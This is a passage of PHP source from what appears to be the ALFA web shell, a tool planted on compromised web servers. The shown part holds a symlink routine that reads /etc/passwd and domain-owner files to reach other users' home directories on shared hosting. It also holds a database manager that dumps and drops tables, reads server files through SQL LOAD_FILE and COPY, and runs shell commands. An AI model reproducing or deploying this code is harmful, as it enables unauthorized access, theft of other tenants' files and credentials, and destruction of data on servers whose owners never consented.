/etc/valiases/".$domain,false,false);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(!$anonymous){\r\n\t\tif(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "http://".$domain;\r\n\t\tif($state == "passwd"){\r\n\t\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\t}\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t\t$f_black[] = $owner.$domain;\r\n\t}\r\n}\r\nif($anonymous){\r\n\tforeach($anonymous_users as $owner){\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t}\r\n}\r\n$cant_symlink = false;\r\n}else{\r\n$is_direct = false;\r\n$makepwd = alfaMakePwd();\r\nif(_alfa_file_exists("/etc/virtual/domainowners")){\r\n\t$makepwd = "/home/{user}/public_html";\r\n\t$is_direct = true;\r\n}\r\n$sole = _alfa_file("/etc/virtual/domainowners");\r\n$count=1;\r\necho $table_header;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nif($sole){\r\n\tforeach($sole as $visible){\r\n\t\tif(@strstr($visible,":")){\r\n\t\t\t$solevisible = explode(\':\', $visible);\r\n\t\t\t$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);\r\n\t\t\techo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);\r\n\t\t}\r\n\t}\r\n}else{\r\n\t$passwd = _alfa_file("/etc/passwd");\r\n\tif($passwd){\r\n\t\t$html = "";\r\n\t\t$is_named = false;\r\n\t\t$users = array();\r\n\t\t$domains = array();\r\n\t\t$uknowns = array();\r\n\t\tforeach($passwd as $user){\r\n\t\t\t$user = trim($user);\r\n\t\t\t$expl = explode(":", $user);\r\n\t\t\tif((int)$expl[2] < 500)continue;\r\n\t\t\t$users[$expl[0]] = $expl[5];\r\n\t\t}\r\n\t\t$site_domains = @scandir("/etc/virtual/");\r\n\t\tif(!$site_domains){\r\n\t\t\t$site_domains = alfaEx("ls /etc/virtual/");\r\n\t\t\t$site_domains = explode("\\n", $site_domains);\r\n\t\t\tif(!$site_domains){\r\n\t\t\t\t$site_domains = _alfa_file("/etc/named.conf");\r\n\t\t\t\tif($site_domains){$is_named = true;}\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach($site_domains as $line){\r\n\t\t\tif($is_named){\r\n\t\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t\tif(strlen($domain > 2) && !empty($domain)){\r\n\t\t\t\t\t\t$domains[] = $domain;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$domains[] = $line;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$x = 1;\r\n\t\tforeach($users as $user => $home){\r\n\t\t\tforeach($domains as $domain){\r\n\t\t\t\t$user_len = strlen($user) - 1;\r\n\t\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\t\t$five_user = substr($user, 0,$user_len);\r\n\t\t\t\t$five_domain = substr($sub_domain, 0,$user_len);\r\n\t\t\t\tif($five_user == $five_domain){\r\n\t\t\t\t\tif($is_direct){\r\n\t\t\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$uknowns[$user] = $home;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$uknowns = array_unique($uknowns);\r\n\t\tforeach($uknowns as $user => $home){\r\n\t\t\tif($is_direct){\r\n\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t}else{\r\n\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t}\r\n\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);\r\n\t\t}\r\n\t\techo($html);\r\n\t}\r\n}\r\necho "</table>";\r\n$cant_symlink = false;\r\n}\r\n}else{\r\n\techo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";\r\n\t$cant_symlink = false;\r\n}\r\nif($cant_symlink)echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>\';\r\necho "</center></table>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasql(){\r\nclass DbClass{\r\npublic $type;\r\npublic $link;\r\npublic $res;\r\npublic $mysqli_connect_error = false;\r\npublic $mysqli_connect_error_msg = "";\r\nfunction __construct($type){\r\n$this->type = $type;\r\n}\r\nfunction connect($host, $user, $pass, $dbname){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)){\r\n\treturn true;\r\n}else{\r\n\t$this->mysqli_connect_error = true;\r\n\t$this->mysqli_connect_error_msg = mysqli_connect_error();\r\n\treturn false;\r\n}\r\nbreak;\r\ncase \'pgsql\':\r\n$host = explode(\':\', $host);\r\nif(!$host[1]) $host[1]=5432;\r\nif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction selectdb($db){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(@mysqli_select_db($db))return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction query($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = @mysqli_query($this->link,$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = @pg_query($this->link,$str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction fetch(){\r\n$res = func_num_args()?func_get_arg(0):$this->res;\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_fetch_assoc($res);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_fetch_assoc($res);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listDbs(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->query("SHOW databases");\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listTables(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->res = $this->query(\'SHOW TABLES\');\r\nbreak;\r\ncase \'pgsql\':\r\nreturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction error(){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn @mysqli_error($this->link);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_last_error();\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction setCharset($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nif(function_exists(\'mysql_set_charset\'))\r\nreturn @mysqli_set_charset($this->link,$str);\r\nelse\r\n$this->query(\'SET CHARSET \'.$str);\r\nbreak;\r\ncase \'pgsql\':\r\nreturn @pg_set_client_encoding($this->link, $str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction loadFile($str){\r\nswitch($this->type){\r\ncase \'mysql\':\r\nreturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\nbreak;\r\ncase \'pgsql\':\r\n$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM \'".addslashes($str)."\';select file from solevisible;");\r\n$r=array();\r\nwhile($i=$this->fetch())\r\n$r[] = $i[\'file\'];\r\n$this->query(\'drop table solevisible\');\r\nreturn array(\'file\'=>implode("\\n",$r));\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\n};\r\n$db = new DbClass($_POST[\'type\']);\r\nalfahead();\r\n$form_visibility = "table";\r\nif(isset($_POST[\'sql_host\'])){\r\n\t$connection_db = $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n\tif($connection_db && !empty($_POST[\'sql_base\'])){\r\n\t\t$form_visibility = "none";\r\n\t}\r\n}\r\n$database_list = array();\r\necho "\r\n<div class=\'header\' style=\'min-height:300px;\'>".($form_visibility!="none"?"<center><div class=\'txtfont_header\'>| Sql Manager |</div><p>".getConfigHtml(\'all\')."</p></center><div style=\'text-align:center;margin-bottom: 10px;\'><button class=\'connection-his-btn db-opt-id\' onclick=\'alfaShowConnectionHistory(this);\' mode=\'on\'>Connection History</button><div class=\'connection_history_holder\'></div></div>":"")."\r\n<div class=\'sf\' class=\'db-opt-id\'><table style=\'margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."\' cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td><div class=\\"txtfont\\">TYPE</div></td><td><div class=\\"txtfont\\">HOST</div></td><td><div class=\\"txtfont\\">DB USER</div></td><td><div class=\\"txtfont\\">DB PASS</div></td><td><div class=\\"txtfont\\">DB NAME</div></td><td></td></tr><tr>\r\n<td><select name=\'type\'><option value=\'mysql\' selected>mysql</option></select></td>\r\n<td><input type=\'text\' name=\'sql_host\' id=\'db_host\' value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_login\' id=\'db_user\' value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_pass\' id=\'db_pw\' value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";\r\n$tmp = "<input type=\'text\' name=\'sql_base\' id=\'db_name\' value=\'". (empty($_POST[\'sql_base\'])?\'\':htmlspecialchars($_POST[\'sql_base\'])) ."\'>";\r\nif(isset($_POST[\'sql_host\'])){\r\nif($connection_db){\r\n$db->setCharset(\'utf8\');\r\n$db->listDbs();\r\necho "<select name=sql_base><option value=\'\'></option>";\r\nwhile($item = $db->fetch()) {\r\nlist($key, $value) = each($item);\r\n$database_list[] = $value;\r\necho \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n}\r\necho \'</select>\';\r\n}else{\r\n\techo $tmp;\r\n}\r\n}else\r\necho $tmp;\r\n$curr_mysql_id = $_POST[\'current_mysql_id\'];\r\necho "</td>\r\n<td><button onclick=\'fs(this);return false;\' class=\'db-opt-id db-connect-btn\'>Connect</button></td>\r\n<td><input type=\'checkbox\' name=\'sql_count\' value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <div class=\\"txtfont\\">count the number of rows</div></td>\r\n</tr>\r\n</table>";\r\nif($db->mysqli_connect_error){\r\n\techo \'<div style="text-align: center;font-size: 17px;margin-top: 18px;">\'.$db->mysqli_connect_error_msg.\'</div>\';\r\n}\r\nif(!empty($curr_mysql_id)){\r\n\t$sql_title_db = "";\r\n\tif(!empty($_POST[\'sql_base\'])){\r\n\t\t$sql_title_db = "d.querySelector(\'#tab_".$curr_mysql_id." span\').innerHTML=\'".addslashes($_POST[\'sql_base\'])."\';";\r\n\t}\r\n\techo "<script>mysql_cache[\'".$curr_mysql_id."\'][\'host\']=\'".addslashes($_POST[\'sql_host\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'user\']=\'".addslashes($_POST[\'sql_login\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'pass\']=\'".addslashes($_POST[\'sql_pass\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'db\']=\'".addslashes($_POST[\'sql_base\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'charset\']=\'".addslashes($_POST[\'charset\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'type\']=\'".addslashes($_POST[\'type\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'count\']=\'".addslashes($_POST[\'sql_count\'])."\';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";\r\n}\r\nif(isset($db) && $db->link){\r\nif(!empty($_POST[\'sql_base\'])){\r\necho "<div class=\'mysql-main\'><div mode=\'block\' onclick=\'alfaMysqlTablePanelCtl(this);\' class=\'tables-panel-ctl db-opt-id\'><<</div><div class=\'mysql-tables\'><div><input placeholder=\\"Filter Table\\" style=\'padding: 0;margin-left: 11px;text-align:center;\' type=\'text\' name=\'filter_all\'><button class=\'db-opt-id\' onclick=\'alfaMysqlFilterAllTable(this);return false;\'>Search</button></div><div class=\'block\'><a sql_count=\'".(empty($_POST[\'sql_count\'])?"false":"true")."\' mode=\'closed\' onclick=\'alfaMysqlFilterAllTable(this,true);\' class=\'expander parent-expander db-opt-id\' href=\'javascript:void(0);\'><img src=\'http://solevisible.com/icons/menu/b_plus.png\' title=\'Expand/Collapse All DataBases\' alt=\'Expand/Collapse All DataBases\'></a></div><ul style=\'margin-top: 28px;\'>";\r\nforeach ($database_list as $db_name) {\r\n\techo \'<li><div class="block"><i></i><b></b><a sql_count="\'.(empty($_POST[\'sql_count\'])?"false":"true").\'" db_target="\'.$db_name.\'" onclick="alfaMysqlExpander(this);" class="expander cls-\'.$db_name.\'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/\'.($db_name == $_POST[\'sql_base\']?"b_minus.png":"b_plus.png").\'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">\'.$db_name.\'</span><div class="clearfloat"></div><div db_name="\'.$db_name.\'" mode="\'.($db_name == $_POST[\'sql_base\']?"loaded":"no").\'" class="list_container cls-\'.$db_name.\'"><div>\';\r\n\tif($db_name == $_POST[\'sql_base\']){\r\n\t\t$db->selectdb($_POST[\'sql_base\']);\r\n\t\t$tbls_res = $db->listTables();\r\n\t\techo \'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-\'.$db_name.\'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';\r\n\t\twhile($item = $db->fetch($tbls_res)){\r\n\t\tlist($key, $value) = each($item);\r\n\t\tif(!empty($_POST[\'sql_count\']))\r\n\t\t$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM `\'.$value.\'`\'));\r\n\t\t$value = htmlspecialchars($value);\r\n\t\techo "<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a class=\'db-opt-id\' db_target=\'".$db_name."\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this,\'".$value."\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>".$value."</span></a>" . (empty($_POST[\'sql_count\'])?\' \':" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>({$n[\'n\']})</span></small>") . "</div></li>";\r\n\t\t}\r\n\t\techo \'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="\'.$db_name.\'" target=".cls-\'.$db_name.\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\';\r\n\t}\r\n\techo "</div></li>";\r\n}\r\necho "</ul></div><div class=\'mysql-query-results\'><div class=\'mysql-query-result-tabs\'><div class=\'db-opt-id mysql-query-selected-tab\' target=\'.mysql-query-result-content\' onclick=\'alfaMysqlTabCtl(this);\'>Result</div><div class=\'db-opt-id\' target=\'.mysql-query-form\' onclick=\'alfaMysqlTabCtl(this);\'>Query</div><div class=\'db-opt-id\' target=\'.mysql-search-area\' onclick=\'alfaMysqlTabCtl(this);\'>Search</div><div class=\'db-opt-id\' target=\'.mysql-structure\' onclick=\'alfaMysqlTabCtl(this);\'>Structure</div><div class=\'db-opt-id\' target=\'.mysql-insert-row\' onclick=\'alfaMysqlTabCtl(this);\'>Insert</div><div style=\'display:none;\' class=\'db-opt-id\' target=\'.mysql-edit-row\' onclick=\'alfaMysqlTabCtl(this);\'>Edit</div></div><div class=\'mysql-query-content mysql-insert-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-edit-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-search-area mysql-hide-content\'></div><div class=\'mysql-query-content mysql-structure mysql-hide-content\'></div><div class=\'mysql-query-content mysql-query-form mysql-hide-content\'><div style=\'margin-bottom: 5px;\'><span>Query:</span></div><textarea name=\'query\' style=\'width:90%;height:100px\'></textarea><p><div style=\'float:left;margin-left: 30px;\'><input class=\'button db-opt-id\' db_target=\'".$_POST[\'sql_base\']."\' onclick=\'alfaMysqlQuery(this);return false;\' type=\'submit\' value=\' \'></div></p></div><div class=\'mysql-query-content mysql-query-result-content\'><div class=\'mysql-query-result-header\'><div style=\'margin-bottom: 10px;\' class=\'mysql-query-reporter\'></div><div class=\'mysql-query-pager\'></div></div><div class=\'mysql-query-table\'></div></div></form></td></tr>";\r\n}\r\necho "</table></div>";\r\necho "</div>";\r\n}else{\r\necho htmlspecialchars($db->error());\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaSql_manager_api(){\r\n\t$db = $_POST["alfa1"];\r\n\t$type = $_POST["alfa2"];\r\n\t$sql_count = $_POST["alfa3"] == "true" ? true : false;\r\n\t$db = @json_decode($db, true);\r\n\t$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);\r\n\t@mysqli_set_charset($conn, "utf8");\r\n\tif($conn){\r\n\t\tif($type == "load_all_tables"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN (\'".implode("\',\'", $db["databases"])."\');");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row["table_schema"].\'`.`\'.$row["table_name"].\'`\');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);\r\n\t\t\t}\r\n\t\t\tforeach($db["databases"] as $db){\r\n\t\t\t\tif(!isset($tables[$db])){\r\n\t\t\t\t\t$tables[$db] = null;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == "dump_drop"){\r\n\t\t\tif($db["mode"] == "drop"){\r\n\t\t\t\tforeach ($db["tables"] as $table) {\r\n\t\t\t\t\t@mysqli_query($conn, "DROP TABLE `".$table."`;");\r\n\t\t\t\t}\r\n\t\t\t\t$tables = array();\r\n\t\t\t\t$q_tables = @mysqli_query($conn, "SHOW TABLES;");\r\n\t\t\t\t$count = 0;\r\n\t\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\t\tif($sql_count){\r\n\t\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\r\n\t\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$tables[] = array("name" => $row[0], "count" => (int)$count);\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode($tables);\r\n\t\t\t}else{\r\n\t\t\t\tif(strlen(alfaEx("mysqldump"))>0){\r\n\t\t\t\t\talfaEx("mysqldump --single-transaction --host=\\"".$db["host"]."\\" --user=\\"".$db["user"]."\\" --password=\\"".$db["pass"]."\\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$fp = @fopen($db["dump_file"], "w");\r\n\t\t\t\t\tforeach ($db["tables"] as $table) {\r\n\t\t\t\t\t\t$res = @mysqli_query($conn, \'SHOW CREATE TABLE `\'.$table.\'`\');\r\n\t\t\t\t\t\t$create = @mysqli_fetch_array($res);\r\n\t\t\t\t\t\t$sql = "DROP TABLE IF EXISTS `".$table."`;\\n" . $create[1].";\\n";\r\n\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t$tbl_data = @mysqli_query($conn, \'SELECT * FROM `\'.$table.\'`\');\r\n\t\t\t\t\t\t$head = true;\r\n\t\t\t\t\t\twhile($item = @mysqli_fetch_assoc($tbl_data)){\r\n\t\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n\t\t\t\t\t\t\tif($v == null)\r\n\t\t\t\t\t\t\t$item[$k] = "\'\'";\r\n\t\t\t\t\t\t\telseif(is_numeric($v))\r\n\t\t\t\t\t\t\t$item[$k] = $v;\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t$item[$k] = "\'".@mysqli_real_escape_string($conn, $v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($head) {\r\n\t\t\t\t\t\t\t$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\r\n\t\t\t\t\t\t\t$head = false;\r\n\t\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\t$sql = "\\n\\t,(".implode(", ", $item).\')\';\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(!$head)\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array("status" => true, "file" => $db["dump_file"]));\r\n\t\t\t}\r\n\t\t}elseif($type == "load_tables"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, "SHOW TABLES;");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[] = array("name" => $row[0], "count" => (int)$count);\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == "alter"){\r\n\t\t\t$db["alter"]["type"] = strtolower($db["alter"]["type"]);\r\n\t\t\t$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";\r\n\t\t\t$text_input = array("longtext", "text", "mediumtext", "tinytext");\r\n\t\t\tif(in_array($db["alter"]["type"], $text_input)){\r\n\t\t\t\t$inputs = $db["alter"]["type"];\r\n\t\t\t}\r\n\t\t\t@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);\r\n\t\t\t$error = @mysqli_error($conn);\r\n\t\t\tif($error){\r\n\t\t\t\techo $error;\r\n\t\t\t}else{\r\n\t\t\t\techo "ok";\r\n\t\t\t}\r\n\t\t}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){\r\n\t\t\tif($type == "edit"){\r\n\t\t\t\t$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = \'".addslashes($db["key"])."\' LIMIT 0,1");\r\n\t\t\t\t$row = @mysqli_fetch_assoc($q);\r\n\t\t\t\tif($row){\r\n\t\t\t\t\t$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\r\n\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t$edit_data = array();\r\n\t\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t\t$input = array("col_type" => $row2["COLUMN_TYPE"]);\r\n\t\t\t\t\t\t$row2["type"] = strtolower($row2["type"]);\r\n\t\t\t\t\t\tswitch($row2["type"]){\r\n\t\t\t\t\t\t\tcase "longtext": case "text": case "mediumtext": case "tinytext":\r\n\t\t\t\t\t\t\t\t$input["tag"] = "textarea";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase "int": case "smallint": case "bigint": case "tinyint": case "mediumint":\r\n\t\t\t\t\t\t\t\t$input["tag"] = "input";\r\n\t\t\t\t\t\t\t\t$input["type"] = "number";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$input["tag"] = "input";\r\n\t\t\t\t\t\t\t\t$input["type"] = "text";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$columns[$row2["name"]] = $input;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($row as $key => $v){\r\n\t\t\t\t\t\t$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, \'UTF-8\'), "type" => $columns[$key]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo @json_encode($edit_data);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif($type == "delete_all"){\r\n\t\t\t\t\t$rows = implode("\', \'", $db["rows"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$rows = addslashes($db["key"]);\r\n\t\t\t\t}\r\n\t\t\t\t$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN (\'".$rows."\')";\r\n\t\t\t\t@mysqli_query($conn, $query);\r\n\t\t\t\t$error = @mysqli_error($conn);\r\n\t\t\t\tif($error){\r\n\t\t\t\t \t$status = false;\r\n\t\t\t\t}else{\r\n\t\t\t\t \t$status = true;\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array("status" => $status, "error" => $error, "query" => $query));\r\n\t\t\t}\r\n\t\t}elseif($type == "update"){\r\n\t\t\t$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";\r\n\t\t\tforeach($db["data"] as $col => $val){\r\n\t\t\t\t$query .= "`".$col."` = \'".mysqli_real_escape_string($conn, $val)."\',";\r\n\t\t\t}\r\n\t\t\t$query = substr($query, 0, -1);\r\n\t\t $query .= "WHERE `".$db["col_key"]."` = \'".$db["key"]."\'";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\r\n\t\t}elseif($type == "insert"){\r\n\t\t\t$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";\r\n\t\t\tforeach($db["data"] as $col => $val){\r\n\t\t\t\t$cols .= $col . ",";\r\n\t\t\t\t$vals .= "\'".mysqli_real_escape_string($conn, $val)."\',";\r\n\t\t\t}\r\n\t\t\t$cols = substr($cols, 0, -1);\r\n\t\t\t$vals = substr($vals, 0, -1);\r\n\t\t\t$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\r\n\t\t}else{\r\n\t\t\t$pages = 0;\r\n\t\t\t$title = false;\r\n\t\t\t$query = "";\r\n\t\t\t$tbl_content = \'<table width="100%" cellspacing="1" 